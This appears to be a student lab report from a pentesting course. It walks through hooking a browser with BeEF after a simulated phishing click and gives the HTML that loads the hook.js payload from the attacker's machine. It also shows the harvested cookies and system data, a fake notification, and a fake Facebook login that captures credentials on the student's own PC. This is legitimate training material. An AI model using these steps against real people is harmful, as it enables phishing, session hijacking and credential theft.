



# Fleming College

<b>Course</b>	COMP 357 – Advanced Pentesting
<b>Lab Assignment</b>	Attack Scenario Guide
<b>Instructor</b>	Abeeeeeee
<b>Section</b>	L02
<b>Student Name</b>	Manuel Manrique Lopez
<b>Submission Date</b>	December 07 <sup>th</sup> , 2025

## **Attack Scenario Guide.**

This scenario takes place after a phishing email has been successfully used (in this case the user clicked a link in the phishing email which sent his browser to open our malicious website and establish connection with BeEF)

This connection allows the attacker to have persistent access to user's browser and enables the following activities:

- Information disclosure (cookies, browser metadata, plugins)
- Internal network reconnaissance
- Social engineering attacks
- Redirection and web content manipulation

This scenario reflects real-world phishing campaigns used for banking fraud, credential theft, and lateral movement inside corporate networks.

In this simulation, the target is my main windows pc which is going to be hooked and exploited by my Kali VM running BeEF and using commands to exploit my windows host.

The attack goals are:

- Hook the victim's browser without their awareness
- Extract technical details and session information
- Perform harmless post-exploitation commands

If you followed the instructions of my GitHub repository you should now be able to have BeEF active and running in your Kali VM, now we are going to set up a normal http.server to test the connection and the forward to our hook.js file which has the payload.

First, we need to create an index.html file as the following (here you can do whatever you want and who knows, create a good web page for phishing :p)

For creating the index.html file do:

**\*./nano index.html\*** and place something like:

```
<html>
<head>
<title>Security Test Page</title>
<script src="http://192.168.xxx.xxx:3000/hook.js"></script>
</head>
<body>
```

```

<h1>Welcome to our security test!</h1>
</body>
</html>

```

The line that matters most in the html file is the yellow one, since this is the line that contains the payload and that will establish connection to BeEF, you get your IP when beef service starts.

And ON THE SAME FOLDER as the file do

**\*python3 -m http.server 8080\***

This will use your index.html and enable a web page that we can access.

Assuming the attacker already is on our web page we will see on the left side of the panel all established connections online and offline.

Key	Value
browser.capabilitiesactivex	No
browser.capabilitiesflash	No
browser.capabilitiesgooglegears	No
browser.capabilitiesphongap	No
browser.capabilitiesquicktime	No
browser.capabilitiesrealplayer	No
browser.capabilitiessilverlight	No
browser.capabilitiesvbscript	No
browser.capabilitiesvlc	No
browser.capabilitieswebgl	Yes
browser.capabilitieswebrtc	Yes
browser.capabilitieswebsocket	Yes
browser.capabilitieswebworker	Yes
browser.capabilitieswmp	No
browser.date.timestamp	Sun Dec 07 2025 15:47:52 GMT-0500 (hora estándar oriental)
browser.engine	Blink
browser.language	es-419
browser.name	E
browser.namefriendly	MSEdge
browser.name.reported	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

Now, we can see the user's information and inject commands.

## ***Execution command injections***

For these sections is pretty much all up to you, there are many commands that you can execute to get different types of information, but in this case, I will just do 2 commands to get information, once you execute the command look at the tab Module Results History and click in your payload to see the result of what it got.

### Capabilities

In the beginning you are going to be able to see information of the user's computer such as geolocation if it is available, IP Address, OS, architecture, etc.

The screenshot shows the BeEF Control Panel interface. On the left, under 'Hooked Browsers', there are two entries: 'Online Browsers' (192.168.159.156) and 'Offline Browsers'. The main area displays a table of browser capabilities:

Key	Value
browser.window.cookies	BEEFHOOKE=jhuiZguu7UW80X5ELp58BsfwuJzPsMhGaXCm1u4zql4YwAkwsSKXOJ1B5rGGWRab4mJduJV1iCc6Z
browser.window.hostname	192.168.159.156
browser.window.hostport	8080
browser.window.origin	http://192.168.159.156:8080
browser.window.referrer	Unknown
browser.window.size.height	695
browser.window.size.width	767
browser.window.title	Security Test Page
browser.window.url	http://192.168.159.156:8080/
hardware.battery.level	unknown
hardware.cpu.arch	x86_64
hardware.cpu.cores	20
hardware.gpu	ANGLE (NVIDIA, NVIDIA GeForce RTX 4060 Laptop GPU (0x000028E0) Direct3D11 vs_5_0 ps_5_0, D3D11)
hardware.gpu.vendor	Google Inc. (NVIDIA)
hardware.memory	unknown
hardware.screen.colorddepth	24
hardware.screen.size.height	864
hardware.screen.size.width	1536
hardware.screen.toucheenabled	No
hardware.type	Unknown
host.os.arch	64
host.os.family	Windows
host.os.name	Windows
host.os.version	10
host.software.defaultbrowser	Unknown
location.city	Unknown
location.country	Unknown
network.ipaddress	192.168.159.1

## Command – Fake notification bar

The screenshot shows the Metasploit Framework interface. In the top navigation bar, there are links for OffSec, Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, and Google Hacking DB. Below the navigation bar, the 'Current Browser' tab is selected. On the left, the 'Hooked Browsers' section lists 'Online Browsers' and 'Offline Browsers'. Under 'Online Browsers', there is an entry for '192.168.159.159'. Under 'Offline Browsers', there is an entry for '192.168.159.1'. A red arrow points to this entry. In the center, the 'Module Tree' pane shows a tree structure with various exploit modules. A red arrow points to the 'Fake Notification Bar' module under the 'Social Engineering' category. To the right, the 'Module Results History' table shows one result for 'command 1'. The 'Fake Notification Bar' details pane is open, showing a description: 'Displays a fake notification bar at the top of the screen, similar to those presented in IE.' The 'Id' is listed as 18. The 'Notification text' field contains the message 'Hey, you want some tacos?'. A red arrow points to this text field.

## Result – Notification in web browser

The screenshot shows a web browser window with the address bar set to '192.168.159.156:8080'. The page content includes a 'Not secure' warning and several bookmarks at the top. A fake notification bar is displayed at the top of the page, containing the message 'Hey, you want some tacos?'. Below the notification bar, the main content of the page is 'Welcome to our security test!'. A red arrow points to the notification bar message.

## Command – Credential theft – Imitates a login page and captures credentials

The screenshot shows the Metasploit Framework interface. In the top navigation bar, 'Commands' is selected. On the left, the 'Module Tree' sidebar is open, showing various exploit modules categorized by type. A red checkmark highlights the 'Pretty Theft' module under the 'Social Engineering' category. The main pane displays the details for the selected module, titled 'Pretty Theft'. The description states: 'Asks the user for their username and password using a floating div.' The configuration section includes fields for 'Id' (set to 8), 'Dialog Type' (set to 'Facebook'), 'Backing' (set to 'Grey'), and 'Custom Logo (Generic only)' (set to 'http://0.0.0.3000/ui/media/images/beef.png'). A red arrow points to the 'Custom Logo' field.

## Result – Fake login page

The screenshot shows a web browser window with the address bar displaying 'Not secure 192.168.159.156:8080'. The main content area shows a dark-themed landing page with the text 'Welcome to our security test!'. A modal dialog box is overlaid on the page, titled 'Facebook Session Timed Out'. The message inside the dialog reads: 'Your session has timed out due to inactivity. Please re-enter your username and password to login.' It contains two input fields labeled 'Email:' and 'Password:', and a 'Log in' button at the bottom right. A red arrow points to the 'Email:' input field.

## Credentials obtained

The screenshot shows the Metasploit Framework interface. On the left, there's a sidebar with sections for 'HOOKED BROWSERS' (Online Browsers: 192.168.159.159; Offline Browsers: 192.168.159.1), 'Getting Started', 'Logs', 'Zombies', 'Auto Run', and 'Current Browser'. The 'Commands' tab is selected. In the center, the 'Module Tree' pane lists various exploit modules under categories like IPEC, Metasploit, Misc, Network, Persistence, Phonegap, and Social Engineering. The 'Module Results History' pane shows a single entry with ID 0, date 2025-12-07 16:08, and label 'command 1'. The 'Command results' pane displays the output: 'data: answer=aaaaaa@summy.com:jejeejeje'. A red box highlights this output.

And voila! You get user's information, credentials and many more, feel free to play with more commands available.